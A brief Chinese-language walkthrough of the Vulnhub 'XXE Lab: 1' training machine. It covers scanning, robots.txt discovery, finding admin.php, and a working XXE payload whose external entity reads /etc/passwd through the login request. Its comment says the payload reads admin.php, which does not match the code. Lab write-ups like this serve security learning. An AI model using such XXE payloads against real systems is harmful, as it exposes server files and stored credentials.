Vulnhub靶机系列之——XXE

vulnhub系列——持续更新

一 · XXE Lab: 1

使用vmware搭建靶机

扫描存活主机

找到目标主机——192.168.1.18

开始扫描目标端口

发现只开了一个80端口

扫描目录发现存在robots.txt文件

根据robots.txt的内容都访问一下

再次扫描目录发现存在admin.php

抓取登录数据包

居然是使用XML传输数据，那么就试试XXE漏洞

payload：
     <?xml version="1.0" encoding="UTF-8"?>
 
 
 
<!DOCTYPE r [
 
 
 
<!ELEMENT r ANY >
 
 
 
<!ENTITY admin SYSTEM "file:///etc/passwd">
 
 
 
]>
 
 
 
<root><name>&admin;</name><password>admin</password></root>
 
 //读取admin.php的内容

在admin.php中找到账号和密码